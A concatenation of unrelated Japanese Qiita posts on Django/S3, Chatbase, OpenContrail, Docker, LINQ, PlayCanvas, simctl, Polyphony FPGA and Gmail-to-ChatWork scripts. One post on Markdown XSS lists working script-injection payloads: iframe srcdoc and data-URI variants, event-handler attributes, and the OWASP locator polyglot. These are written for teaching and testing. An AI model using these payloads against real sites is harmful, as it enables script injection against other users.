OmniAICreator/Qiita-1.07M huggingface dataset:
django on heroku で aws s3 に compress

# はじめに

だいぶ頭悪い感じのタイトルになりましたが、何がしたかったかというと、

- django を heroku で動かしたい
- [django-compressor](https://django-compressor.readthedocs.io/en/latest/) を使いたい
- heroku は deploy 後に静的ファイルを追加できないので、compress したファイルを代わりに aws s3 に置きたい
- でも、es6 や sass の元ファイルは置きたくない（外部から参照させたくない）

です。
まるっと全部 s3 に、みたいな記事は探したら見つかったんですけど、compress したファイルだけというのが見つからなかったので、今回書きました。

※そして実はあまり意味なかったということが最後にわかりました。


# どうしたか

まぁ、大したことはしてなくて、静的ファイルの参照先と compress する先を別々にしただけです。


## 具体的に

こうです（django は 1.11）。
※今動いている settings.py から網羅的に転機したつもりですけど、漏れていたら [heroku docs](https://devcenter.heroku.com/articles/django-assets) や [django-compressor](https://django-compressor.readthedocs.io/en/latest/)、その他の blog を参照していただければと思います。。。

```py3:settings.py
# アプリやミドルウェアに compress などを追加
INSTALLED_APPS = [
    ...
    'compressor',
    ...
]

MIDDLEWARE = [
    ...
    'whitenoise.middleware.WhiteNoiseMiddleware',
]

# collectstatic した時の展開先。s3 に置かないような local で開発用の設定
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')

# 静的ファイル置き場。sass などはここに置く
STATIC_URL = '/static/'

# compress するときの参照先設定
STATICFILES_DIRS = (
    os.path.join(BASE_DIR, 'static'),
)

# 静的ファイル探すヤツラの指定
STATICFILES_FINDERS = [
    'django.contrib.staticfiles.finders.FileSystemFinder',
    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
    'compressor.finders.CompressorFinder',
    'npm.finders.NpmFinder',
]

# compress するコンパイラなどの指定
COMPRESS_PRECOMPILERS = (
    ('text/x-scss', 'compressor_toolkit.precompilers.SCSSCompiler'),
    ('module', 'compressor_toolkit.precompilers.ES6Compiler'),
)
COMPRESS_CSS_FILTERS = [
    'compressor.filters.css_default.CssAbsoluteFilter',
    'compressor.filters.cssmin.rCSSMinFilter',
]

# 以下、heroku 向け。local では不要

# s3 にアクセスするための鍵
AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY')

# 静的ファイルへのアクセス設定
STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'
COMPRESS_STORAGE = 'storages.backends.s3boto.S3BotoStorage'
COMPRESS_OFFLINE = True  # ユーザがページを開いたときに compress しないようにする（事前に compress しないとエラーになる）
COMPRESS_ENABLED = True  # メンドイので manifest.json を見て css を参照するようにする

# s3 先の指定
AWS_STORAGE_BUCKET_NAME = 'hogehoge'
AWS_S3_CUSTOM_DOMAIN = 's3.amazonaws.com/hogehoge'
```

上記を deploy したあとで、```python manage.py compress``` すると、s3 にファイルが展開されます。
ただ、キャッシュが効いているのか、たまに OfflineGenerationError が発生していまします・・・対応策を調査中です（```python manage.py mtime_cache -c``` すればいいのかな？ と思ってますが、まだ試せてません）。


## 本当は

deploy するときに、一緒に compress を実行できれば良いと思ったんですけど、どうもやり方がわからなかったので、s3 を使うことで回避してます。


## おまけ

ここまで書いて気づきましたけど、static ディレクトリに es6 や sass が置いてあるってことは、確かに html からは呼び出されなくても、直接 url に打ち込めば参照できるのでは・・・あ、見れた・・・。
Chatbaseを触ってみて思ったこと

# Chatbaseとは？

![Chatbase.png](https://qiita-image-store.s3.amazonaws.com/0/12353/bf3695f5-9635-2415-9be0-8cdcd0e311dd.png)

Chatbaseとは、Google が開発した、

* ユーザーはどのようなトピックを経由しながら会話をしているのか
* 会話のどこでユーザーが離脱してしまうのか

といったchat特有のアナリティクスを提供してくれるツールです。[Dialogflow（旧API.ai）とも既に連携しており](https://chatbase.com/documentation/dialogflow-integration)、さらに使える機能は増える見込みのようです。

会話のstatusを送りつけることのできるAPIがあり、そこにuser idとともにintentやmessageを送るだけでどんなチャットサービスのbotでも使用することができます。

今年５月のGoogle I/Oでお披露目があり、クローズドで利用されていましたが、11月にようやく[Publicになりました](https://cloud.google.com/blog/big-data/2017/11/how-to-integrate-dialogflow-with-chatbase-for-easier-bot-analytics)。

<blockquote class="twitter-tweet" data-lang="en"><p lang="en" dir="ltr">Did you catch our new explainer video via the <a href="https://twitter.com/googledevs?ref_src=twsrc%5Etfw">@googledevs</a> YouTube Channel? ICYMI: <a href="https://t.co/c23gh8Ne1v">https://t.co/c23gh8Ne1v</a></p>&mdash; Chatbase (@chatbase) <a href="https://twitter.com/chatbase/status/933115016693166080?ref_src=twsrc%5Etfw">November 21, 2017</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

Chatbaseは、[Chatbox UX :Crafting a Valuable Conversation](http://www.uxbooth.com/articles/chatbox-ux-crafting-a-valuable-conversation/) (邦訳：[チャットボットのUX：価値ある会話デザインの方法 | UX MILK](http://uxmilk.jp/68187))でも紹介されています。余談ですが、この記事はサービス企画時に役立ちそうなことが書かれたいい記事でした。

# Quickstart
チュートリアルは以下のドキュメントを読んでいただくとして、後の自分のためにすこしメモをしておきます。

https://chatbase.com/documentation/quickstart

## Chatbaseが得意そうなこと

対話式のbotが応答文を返す際、まずユーザーからの入力に対して何らかのIntentを判定し、そのスコアに応じて応答文を返す、といったことが実用上多いようです。

QuickStartにも書かれていますが、Chatbaseではintentについて、「ユーザーからの、同じ意味を持つメッセージの集合へのラベルとして使える」という記載がなされているので、そうした理解でいいのだと思います。

botの応答をチューニングする際、そのスコアが一定の閾値以下だったりして、事実上うまくうあてはまるintentがなかったりする場合に、改善をしたいですよね。

そういった場合に、「判定がうまくいかなかったフラグ」をつけてChatbaseに送っておいて、後で集計して改善策を練る、というための仕組みがHandled & Not Handled Messagesという概念です。

なおDialogflowであれば、https://dialogflow.com/docs/machine-learning#ml_classification_threshold にあるように、一定の閾値を設定することができます。
※ Microsoftの[LUIS](https://www.luis.ai/home)では2017年12月現在同等の機能はなく、Mircrosoft Bot Framework [SDK側で閾値を設定します](https://docs.botframework.com/en-us/node/builder/chat-reference/interfaces/_botbuilder_d_.iintentdialogoptions.html#intentthreshold)。

## Chatbaseが現時点で得意じゃないこと

[Dialogflowのドキュメント](https://dialogflow.com/docs/dialogs)では、Slot Fillingという概念が紹介されています。

たとえば、botを介してホテルを予約（検索）させる際には

 * 目的地
 * チェックイン日
 * チェックアウト日

という3つの要素を確定させることが必要です。これを、「スロットを埋める」という表現をしているのですが、現行のChatbaseの仕組みでは、どのintentからどのintentに遷移したかは辿れても、「slotをいくつ埋めたか？」というトラッキングをする仕組みは提供されていません。Dialogflowとの連携・改善を考えると、いずれ何かしら仕組みが提供されたらうれしいなと思います。

簡単ですが、本日はここまでで終わります。明日は @shunXnegiさんです。
opencontrail kubernetes連携の紹介 

この記事は、[Kubernetes Advent Calendar 2017](https://qiita.com/advent-calendar/2017/kubernetes) 5日目の記事です。

この記事では、opencontrail (以下、contrail) とkubernetes の連携について、まとめていきます。

# contrail概要

contrail は、linux上でMPLS VPN類似の機能を使えるようにした仕組みで、
control planeは以下:
&nbsp; BGP(inet-vpn, evpn)
data planeは以下:
&nbsp;  MPLS over GRE, VXLAN, MPLS over UDP
をそれぞれ実装しています。

上記の性質から、ルーターやスイッチとの相互運用が可能となっており、サーバーからルーターやスイッチと直接bgp peer を張って、外部のノードとvmやコンテナの間で、通信を行わせることが出来ます。

もともと openstack の neutron バックエンドとして開発されており、分離されたネットワークの提供や外部接続の提供、セキュリティポリシー、ロードバランサーなど、neutron の各機能を提供しています。

※ architecture document はこちら:
http://www.opencontrail.org/opencontrail-architecture-documentation/


# contrail k8s連携 概要

contrailとkubernetes との連携ですが、contrailのv4.0から、contrail-kube-manager として、kube-apiserver とやりとりするための仕組みが実装されており、cni の要求を受け取って、port, ip の払い出し、等が出来るようになっています。
http://www.opencontrail.org/container-networking-made-simple-with-opencontrail-and-kubernetes/


また、kubernetes の標準のネットワークを拡張した動きとして、ネットワーク分離、および、type: LoadBalancer の提供が行われているので、これらについて、ざっくりまとめていきます。
※ こちらの記載とほぼ同じ内容です。
http://aaabbb-200904.hatenablog.jp/entry/2017/11/04/022638
http://aaabbb-200904.hatenablog.jp/entry/2017/11/06/004312

## ネットワーク分離

ネットワーク分離は、namespace 単位で実施可能で、以下のようにannotation を設定したyamlを使用します。
https://github.com/tnaganawa/contrail-k8s-tutorial/blob/master/yml/3_contrail-cni-features/4_namespace/myns1.yaml

この場合、namespace内に払い出されたpodは、他のnamespace のpodからネットワーク疎通が取れない (内部的にはnamespaceの名前で、別の仮想ネットワークが作成され、podはその中に作成される) という動作になります。

同じk8s内のアプリケーション間で、疎通が取れないようにしたい場合に、活用可能と思われます。
※ HR, Finance など互いにデータ連携がないアプリを同じk8sで提供する場合、など


## type: LoadBalancer

k8s serviceの ServiceTypeにLoadBalancerが設定された場合、contrailは、クラスタIPのnext-hopを複数 (pod単位) 設定して、各ルーターに経路配布を行います。
このため、各ルーターは、複数のvrouter (podが立っているもの) に対して、分散してパケット転送を行う動作になります。
※ DNATはvrouter側で実施

通常、type: LoadBalancer を提供しようとすると、kube-proxy 等を使って、工夫する必要があるのですが、contrail の場合は、直接ルーターから分散できるため、構成が簡単になる、というメリットがあるものと思われます。


# 他環境とのMPLS over GRE連携

上記の通り、contrail は単独でも多くの機能を提供していますが、
更に、MPLS over GRE という標準的な仕組みを実装している関係で、別立てしたk8sやopenstack等、別のオーケストレーターで動作しているvm/container とも、BGP経由の経路配布を通じて、互いに通信を行うことが出来ます。
※ (やろうと思えば) openstack内の特定のvm (外部からは疎通できない) から、特定のk8s deployment (こちらも外部からは疎通できない)、に対して、疎通を設定することもできます (仮想ネットワークに対してroute-target の取り込み設定が必要)
http://aaabbb-200904.hatenablog.jp/entry/2017/11/06/011959

こちらも、vmとcontainer を交えたシステムを構築する場合は、便利な動作かもしれません。


# まとめ

contrail はオープンソースとして開発されており、最新のモジュールはdockerhubからダウンロードすることが出来ます。
https://hub.docker.com/u/opencontrail/

※ インストール手順はこちら
http://www.opencontrail.org/opencontrail-containers-now-on-dockerhub/
https://github.com/Juniper/contrail-docker/wiki/Provision-Contrail-CNI-for-Kubernetes

IaaS, PaaS を絡めた複雑なネットワーク構成を構築しようとしている場合には、この機会に試してみてはいかがでしょうか？？

更に詳しい情報はこちら:
http://www.opencontrail.org/
https://www.youtube.com/user/OpenContrail
http://aaabbb-200904.hatenablog.jp/archive/category/Contrail
Homebrewを使ってDockerをMacにインストール


Home brewを使ってDockerでHello worldを出すところまで。 
何番煎じだよ感半端ないけどQiita投稿の練習もかねて

- - -
（前提）Home brewがインストールされていること 
（環境）Mac OS High Sierra 10.13.1
- - -


### Home brewでDockerをインストール  

```
$ brew cask install docker
==> Satisfying dependencies
==> Downloading https://download.docker.com/mac/stable/19611/Docker.dmg
######################################################################## 100.0%
==> Verifying checksum for Cask docker
==> Installing Cask docker
==> Moving App 'Docker.app' to '/Applications/Docker.app'.
🍺  docker was successfully installed!
$
```

### dockerがインストールされたか確認してみる 

```
$ docker --version
-bash: docker: command not found
$
```
あれ？エラーが出る。インストールできてない？ 
アプリを起動してみた  

```
open /Applications/Docker.app
```
何やらMacの管理PWを聞かれるので入力。 
できたっぽいので再度確認。 

```
$ which docker
/usr/local/bin/docker
$ docker ps
Error response from daemon: Bad response from Docker engine
$
```
ちゃんとインストールできたみたいだけど、まだエラーが出るなぁ。 
と思ったらdockerが起動中なだけだった。。。 
気を取り直して再確認 

```
$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
$ docker --version
Docker version 17.09.0-ce, build afdb6d4
$ docker-machine --version
docker-machine version 0.12.2, build 9371605
$ docker-compose --version
docker-compose version 1.16.1, build 6d1ac21
$
```
OK。できた  

### hello worldを動かしてみる  

```
$ docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
ca4f61b1923c: Pull complete
Digest: sha256:be0cd392e45be79ffeffa6b05338b98ebb16c87b255f48e297ec7f98e123905c
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://cloud.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/engine/userguide/

$
```
おー、動いた動いた。 
ローカルにはないのでDocker Hubから持ってきてくれているみたい。  

```
$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
hello-world         latest              f2a91732366c        12 days ago         1.85kB
$
```
これにて環境構築完了！！
GroupBy後、集計しない列？の取り出し

##やりたい事
DataTableの特定列をグループ化してSumしたレコードを取り出ししたい

##前提
DataTable tableを.AsEnumerable()し、GroupByした。
列構成（例）
Hoge1Code(String)
Hoge1Name(String)
Hoge2Code(String)
Hoge2Name(String)
Fuga1(Decimal)
Fuga2(Decimal)

##失敗例
```code
            var rt = table.AsEnumerable()
                .GroupBy(row => new {
                    hoge1Code= row.Field<string>("Hoge1Code") 
                    ,hoge2Code= row.Field<string>("Hoge2Code")

```

そして

```code
            var rv =rt.ToList().Select(x =>
            {
            hoge1Name=x.Select(y => y["Hoge1Name"].ToString());
            Fuga2Sum=x.Sum(y => (Decimal)y["Hoge1Name"]);
            }
```
とすると

**System.Linq.Enumerable+WhereSelectListIterator**
となる。

##成功例
```code
            var rt = table.AsEnumerable()
                .GroupBy(row => new {
                    hoge1Code= row.Field<string>("Hoge1Code") 
                    ,hoge1Name= row.Field<string>("Hoge1Name")
                    ,hoge2Code= row.Field<string>("Hoge2Code")
                    ,hoge2Name= row.Field<string>("Hoge2Name")

```
として

```
            var rt = table.AsEnumerable()
                .GroupBy(row => new {
                    row.Key.hoge1Name
以後略
```
とした。

##考察
SQLに置き換えて考える

```SQL
select hoge2Code from 
(select 'aa' as hoge1Code ,'bb' as hoge2Code ,0 as 'cc') as t
group by hoge1Code
```
とすると
**列 't.hoge2Code' は選択リスト内では無効です。この列は集計関数または GROUP BY 句に含まれていません。**
てーのと同じだよね？

##補足など
記念すべき初投稿である。
LINQはなんどかチャレンジしたが身につけられていない。お恥ずかしい限り。
Advent of Code day1をPerl 6で

こんにちは、2日目の投稿になります

投稿がなかったので[Advent of Code day1](http://adventofcode.com/2017/day/1)の私の回答を張っておきます。

+ ソースコード
 
```
use v6;                                                                            
                                                                                   
my @a = $*IN.slurp.trim.comb; # (#1)                                                    
say (|@a.tail(+@a - 1),@a[0] Z @a)\ # (#2)                                               
.map(-> ($a, $b) { $a == $b ?? $a !! 0 })\                                         
.sum; 
```

+ ポイント
  + 文字列から、文字単位のリストを作りたいなら`comb`を使います (#1)
  + `|` を使うと平たん化ができます (#2)

以上、2日目の投稿でした。
【Playcanvas】Image Elementの当たり判定がうまくいかない問題の解決編【2Dゲーム】

前回の

[【Playcanvas】Image Elementの当たり判定がうまくいかない問題【2Dゲーム】](https://qiita.com/Humimaro/items/0efe67618d7e8eddff85)

が解決しましたので修正手順を記述します。


[修正前のプロジェクト](https://playcanvas.com/project/513574/overview/shootingtest)

[修正後のプロジェクト](https://playcanvas.com/project/520742/overview/shootingtest2)

手順

1. 3D Screenを配置する。
2. 2D Screenのオブジェクトを3D Screenに移動する。
3. 3D ScreenのScaleのX,Y値を0.01に修正する。
4. CameraのProjectionをperspectiveからorthographicに変更しOrtho Heightで描画領域を調整する。

でCollisonコンポーネントによる当たり判定が正しく動作するようになりました。
(正確に言うとめり込んだ状態になりますが、これはCollisonコンポーネントの大きさの修正で対応できる誤差レベルだと思います)

2D Screenと3D Screenの特徴を述べると

2D Screen
・ UnityでいうuGUIと同じ位置づけ。
・ UIを配置する。
・ ヒラルキーが3D Screenより後ろであっても最前面に表示される。

3D Screen
・ 2Dの画像を3D空間上に投影し、Collisonコンポーネントによる当たり判定が正しく動作する。
・ 2D画像でゲームを作成する場合、Image Elementオブジェクトをを3D Screen配下に配置する。
・ ドット単位でオブジェクトの移動が可能。
・ 初期値のScaleが大きいので100分の1のサイズにする。
・ CameraのProjectionをperspectiveからorthographicに変更しOrtho Heightで描画領域を調整する。

になります。

3D Screen上なのにドット単位で移動ができるのが扱いやすい感じですね。
simctlでXcodeのUI Testの画面を録画する


iOS Simulatorを管理する`simctl`にはスクリーンショットやビデオ録画を行えるオプション`io`が存在します。

スクリーンショットについてはXCTestがXCode9でサポートしているため、あまり`simctl`で行うことはないかもしれません。

しかし、画面のスクリーンショットでは画面遷移時などのアニメーションについてどのように表示されたか分かりにくいという点があります。
そこでUI Test時の画面をビデオ録画する方法を試してみました。

## `simctl io`コマンドについて

具体的に`simctl`を使った録画の方法は以下のようになります。

```
$ xcrun simctl io デバイス名 recordVideo 動画ファイル名
```

コマンドを実行後録画が始まり、録画を終了する際は`CTRL+C`で録画を終わります。

```
// 実行例
$ xcrun simctl io 'iPhone SE' recordVideo uitest.mov
...
pics: 357, gop size in sec: 30.000000
Recording... (Press CTRL+C to stop)
^C
Recording completed.
```

## UI Testの動画を撮影する
次に実際に`xcodebuild test`を実行し、その際の動画を撮影してみます。
ざっくり言えば以下の手順をコードに落とし込む必要があります。

1. `simctl`で録画開始
2. UI Test実行
3. テスト完了後に録画終了

今回は私はPythonで書いてみました。

```
# uitest_with_video_record.py

import subprocess
import signal

video_record = subprocess.Popen("xcrun simctl io 'iPhone SE' recordVideo uitest.mov", shell=True)
xcodebuild_test = subprocess.run("xcodebuild test -scheme VideoRecordingOfUITestUITests -sdk iphonesimulator -destination 'platform=iOS Simulator,name=iPhone SE,OS=11.1'", shell=True)
video_record.send_signal(signal.SIGINT)

```

これを実行するとUI Testが始まり、完了後に`simctl`の録画が終了され、`uitest.mov`という動画ファイルが生成されるわけです。

```
$ python uitest_with_video_record.py
```

### 生成された動画
![uitest_half.gif](https://qiita-image-store.s3.amazonaws.com/0/11776/a7e4ef8b-ad55-79f1-8733-c79413eae96b.gif "uitest_half.gif")


## 課題🤔
かなり適当にpython書いてしまったのでシミュレータの起動中も動画が録画されてしまってます。
`xcodebuild`の標準出力を監視してテストが開始される適切なタイミングで録画開始が出来るように改善したい。
デバイス名やファイル名などもちゃんとパラメタで受け取ったり出来るようにしたいですね。
俺的MarkdownにおけるXSS

# はじめに
Markdown便利ですよね。QiitaやGutHubなど主要なサービスでは主にMarkdownを使って記事の投稿だったり、中~長文を投稿するときにはよく使われていますよね

でもユーザーにWebページに投稿するときに気をつけないといけないのはXSS

インターンシップなどで学生が作ったサイトとかだと大体6割はXSSできちゃいます。（とか言う自分も学生なんですけどね！）

ここでは私個人が経験したXSSについて色々紹介したいと思います。

追記
書いてて思ったけど、Markdownあんまり関係ないです。

# いってみよぉ！

### HTML編
まず最初はこちら！

```XSS.Markdown
<iframe srcdoc="<script>alert('XSS');</script>"></iframe>
```
メディア系の要素が使えてしまうパターン。
なんと言うか、これが使える場合は大体入力をそのまま何もエスケープせずに出力しているパターンが多いです。

ちなみにこういうパターンもあります。属性内部の文字列「<」や「>」だけがエスケープされていても下記のようにBase64でエスケープされずに通る場合もあります。

```XSS.Markdown
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+">
```

他にもvideo要素だったりaudio要素などもエスケープしましょう。
あずにゃんのキャラソンが勝手に再生されたりしちゃいます。

次はちょっと変わって装飾系要素について

Markdownを書いてて文字を<b>太く</b>したりするときありますよね
そのときに出てくるのが```<b>Hoge</b>```要素ですね
これも実はXSSできるんです。

```XSS.Markdown
<b onmousemove="alert('XSS')">XSS!</b>
```

マウスをXSSという文字列に持っていくとJavascriptが実行されます。

わざわざ文字列の場所にマウスを持っていかないといけないと、限定的だと思われますが、こういう場合は大体style属性も使えてしまうのでこうすれば画面のどこかにマウスを持っていけば実行されちゃったりするんです。

```XSS.Markdown
<b　onmousemove="alert('XSS')" style="padding: 10000px;margin: -10000px;">XSS</b>
```

また、```<b nomouse```とbとnの間の空白があるので空白をエスケープしても下記の方法で実行できる場合もあります。

```XSS.Markdown
<b/onmousemove="alert('XSS')">XSS!</b>
```

### Markdown編
Markdownの脆弱性はコード関係に多い印象です。

これは挙動がMarkdownの実装によって異なってきます。
実際にできたパターンを紹介したいと思います。
![xss.png](https://qiita-image-store.s3.amazonaws.com/0/110135/8cb88ef3-a60f-6822-1d3f-7fdf44a8fee3.png)

HTMLではどのような挙動になっているかと言うと

```XSS.html
<code lang="py" onmousemove='alert("XSS")'>
print(0)
</code>
```
こんな感じでXSSできちゃいます
（Qiitaにもその昔あったとか・・・？）


# コピペでできる脆弱性診断
便利な奴があるので貼っときますね。
とはいえ簡易的なものなので過信はしないようにおねがいします

```
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

[XSS フィルター回避チートシート](https://jpcertcc.github.io/OWASPdocuments/CheatSheets/XSSFilterEvasion.html#XSS_Locator)より

# XSSについてもっと知りたい！
こちらのチートシートをよく見ると良いと思います。

[XSS フィルター回避チートシート](https://jpcertcc.github.io/OWASPdocuments/CheatSheets/XSSFilterEvasion.html)

「Markdown XSS」
「Qiita XSS」
などで検索すると色々出てきて面白いです。

とりあえず、自分が最近できたXSSを羅列しました。Markdownを実装するときは意識していきましょう。
[新機能]パイプラインを使ったフィルター

スィングしなけれりゃ意味がない(It Don't Mean A Thing. If It Ain't Got That Swing)。最近ではめっきり聞かなくなったが、エラの歌はいつもスィングしている。いつまでもエラの時代じゃない。次の次の次の時代はエスペランザみたいな人が道なき道を作っていく。

そうしないと意味がないとまでは言わないが、FPGA で物を作るならパイプラインは必須だ。Polyphony でもついにパイプラインの機能が取り入れられた。まだ、準備段階にある機能だが github の devel から clone すれば、その機能を試すことが出来る。

ソースの例を示そう。

```python:pipeline
 @rule(scheduling='pipeline')
    def proc(self):
        a0:uint18 = 0
        a1:uint18 = 0
        ...
        後略
        ...
```

実に単純だ。@rule というデコレータをつけるだけである。引数として設定されている scheduling='pipeline' でパイプライン化の指示をしていることになる。

これで数日に渡ったフィルタ・プログラムの完成である。全体像は次のようになる。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/99921/3f457ad3-c42e-1989-3d28-d1e2b2879411.png)

デザイナーはフィルター部分を独自に作れば様々な対応ができるだろう。参考までに UART と SPI を統合したフィルターのソースをつける。

```pyothon:filter.py
from polyphony import rule
import polyphony
from polyphony import is_worker_running
from polyphony.io import Port, Queue
from polyphony.typing import bit, int8, int16, int18
from polyphony.timing import clksleep, clkfence, wait_rising, wait_falling


@polyphony.module
class Filter:
    def __init__(self):
        self.uart = uart.Transmitter()
        self.spi_in = AD7091R_SPIC()
        self.q = Queue(int16, 'any', maxsize=10)
        self.append_worker(self.read_proc)
        self.append_worker(self.proc)

    def read_proc(self):
        while is_worker_running():
            #wait_rising(self.spi_in.data_ready)
            data = self.spi_in.dout.rd()
            self.q.wr(data)

    @rule(scheduling='pipeline')
    def proc(self):
        a0:int18 = 0
        a1:int18 = 0
        a2:int18 = 0
        a3:int18 = 0

        while is_worker_running():
            data:int16 = self.q.rd()
            a0 = a1 + data
            a1 = a2 + data
            a2 = a3 + data
            a3 =      data

            #print(data)
            self.uart.write_hex16(data)

@polyphony.testbench
def test(m):
    datas = (0xdead, 0xbeef, 0xffff, 0x0000, 0x800)
    for data in datas:
        m.din.wr(data)
            
    for i in range(5):
        print(m.q.rd())

    clksleep(10)

if __name__ == '__main__':
    filter = Filter()
    test(filter)
```
UART を使う(print デバッグを目指して)

発であれば gdb などのデバッガも使う。print デバッグは大量のデータが行きかう場合や順序性だったり、そもそも問題の原因がピンポイントでわからない、といったときは情報出力してそこから推察する時に便利に使える手法だ。

高位合成でも使えないか？Polyphony でトライしてみよう。

クロックレベルが必要な実際の UART の送信 Transmitter はVerilog で実現し、Polyphony では UART モジュールを作る。イメージとしては次のような図になる。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/99921/aa6c2ac5-79c4-e72e-a085-39676943245c.png)

Polyphony の UART モジュールは tx-que でデータを受けて、実際の UART の処理は Verilog-HDL で書いた UART Transmitter モジュールに依頼する。

```python:uart.py
import polyphony
from polyphony import is_worker_running
from polyphony.io import Port, Queue
from polyphony.typing import bit, uint8
from polyphony.timing import clksleep, clkfence, wait_value


@polyphony.module
class Transmitter:
    def __init__(self):
        self.tx_start = Port(bit, 'out', 0)
        self.tx_data = Port(uint8, 'out', 0)
        self.tx_busy = Port(bit, 'in')
        self.tx_q = Queue(uint8, 'any')
        self.append_worker(self.tx_worker)
        #self.append_worker(self.func)

    def tx_worker(self):
        while is_worker_running():
            data = self.tx_q.rd()
            #for i in range(len(data)):
            wait_value(0, self.tx_busy)
            self.tx_start.wr(1)
            self.tx_data.wr(data)
            print(data)
            clkfence()
            self.tx_start.wr(0)

    # def write(self, msg):
    #     for d in msg:
    #         self.tx_q.wr(d)

    def write_hex16(self, v):
        d = (v >> 8) & 0xff
        self.tx_q.wr(d)
        d = (v) & 0xff
        self.tx_q.wr(d)

    # def func(self):
    #     while is_worker_running():
    #         data = (0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x21)
    #         self.write(data)


@polyphony.testbench
def test(tx):
    tx.tx_busy.wr(1)
    tx.tx_busy.wr(0)

    wait_value(1, tx.tx_start)
    print(tx.tx_data.rd())
    wait_value(1, tx.tx_start)
    print(tx.tx_data.rd())
    wait_value(1, tx.tx_start)
    print(tx.tx_data.rd())
    wait_value(1, tx.tx_start)
    print(tx.tx_data.rd())
    wait_value(1, tx.tx_start)
    print(tx.tx_data.rd())

if __name__ == '__main__':
    tx = Transmitter()
    test(tx)
```

[UART のソースは fpga4fun.com から](http://www.fpga4fun.com/SerialInterface3.html")拝借する。

これでなんとなく UART のデバッグが出来るようになった気がする。このソースでは、実際のところ printf 的なところはまだむずかしい。write_hex16 で16進数字を表示するにとどまる。
Gmailに来たメールをChatWorkに転送する

## Gmailの特定のメール(スレッド)をチャットに飛ばす
GoogleAppsScriptを使って
・Gmailから特定の条件に合致するメールを取得
・ChatWorkライブラリを使ってメッセージ送信
というスクリプトをつくります。

## 準備：ChatWorkのトークン情報など
「API設定」から取得できます。
個人メニューの中より。
![cw_menu.png](https://qiita-image-store.s3.amazonaws.com/0/86958/f209bce4-f876-906a-d35e-a714a1d5f64f.png)

「API Token」よりトークンが発行できるので、発行したらそれをコピーしておきます。
![cw_token.PNG](https://qiita-image-store.s3.amazonaws.com/0/86958/e7be1a2a-6dd5-1eaa-4813-38a1d846b865.png)

また、メッセージを飛ばしたいチャットルーム（マイチャットなど）のIDも必要なので、それもメモしておきます。
※URLの数字部分
![cw_mychat.PNG](https://qiita-image-store.s3.amazonaws.com/0/86958/e571b047-2b9a-614f-1565-991d5dc30dc9.png)

To をつける場合にはアカウントIDも必要なので、それも調べておきます。
適当なチャットで引用や返信したときに、メッセージの頭につくタグで
**aid=XXXXXXXX**
という箇所がありますが、これがアカウントIDになります。

## スクリプトにライブラリを追加
ドライブから新規スクリプトを作成します。
プロジェクト名やスクリプト名などは適当に。

ライブラリの追加は、「リソース」->「ライブラリ」から行います。
![gas_lib.png](https://qiita-image-store.s3.amazonaws.com/0/86958/f715f740-9519-4225-895e-80d5a10ca288.png)

ポップアップ下部にプロジェクトキーを入力して追加します。
![gas_libadd.PNG](https://qiita-image-store.s3.amazonaws.com/0/86958/50746b1b-6f57-deaa-d185-bbb415e925fa.png)

チャットワークライブラリは中の人が非公式につくってくれています。
[チャットワークAPI を Google Apps Script で使ってみた](http://c-note.chatwork.com/post/69590585422/chatworkapi-gas-library)
[GitHub](https://github.com/cw-shibuya/cw-event-notifier-gas)
プロジェクトキーは以下です。
`M6TcEyniCs1xb3sdXFF_FhI-MNonZQ_sT`

## スクリプトを書く
こんな感じです。

```js
function main() {
  //チャットワークトークン・ID
  const CW_TOKEN = "最初に取得したトークン";
  const CW_ROOM = チャットルームID;
  const CW_TO = アカウントID;

  //Gmailから特定条件のスレッドを検索しメールを取り出す
  var strTerms = 'is:unread "メール取得条件"';
  var myThreads = GmailApp.search(strTerms, 0, 50); //条件にマッチしたスレッドを取得
  var myMsgs = GmailApp.getMessagesForThreads(myThreads); //スレッドからメールを取得する→二次元配列で格納

  //チャットワークAPI
  var client = ChatWorkClient.factory({
    token: CW_TOKEN
  });

  //各スレッド×メール
  for (var i = myMsgs.length - 1; i >= 0; i--) {
    var msgsInThread = myMsgs[i];
    for (var j = 0; j < msgsInThread.length; j++) {
      var msg = msgsInThread[j];

      //未読のみ
      if (msg.isUnread()) {
        //メールを既読にする
        msg.markRead();

        //メッセージ作成
        var msgBody = "[To:" + CW_TO + "]" +
                      "[info]" +
                          "[title]" + msg.getSubject() + "[/title]" +
                          msg.getFrom() + "[hr]" +
                          msg.getPlainBody().slice(0,400) + "[hr]" +
                          msg.getDate() +
                      "[/info]";

        //チャットワークに送る
        client.sendMessage({
          room_id: CW_ROOM,
          body: msgBody
        });
      }
    }
  }
}
```

未読のメールを拾って、メッセージを送ったら既読にするという仕組みです。
メールの検索条件はGmailで使えるものがそのまま使えます。
[Gmail で使用できる検索演算子](https://support.google.com/mail/answer/7190?hl=ja)

また、取得したメッセージはメールボックスの上から（最新から）なので、
ループは後ろから回して受信順にメッセージを送るようにしています。

チャットワークメッセージはタグで装飾できます。
[メッセージ記法](http://developer.chatwork.com/ja/messagenotation.html)

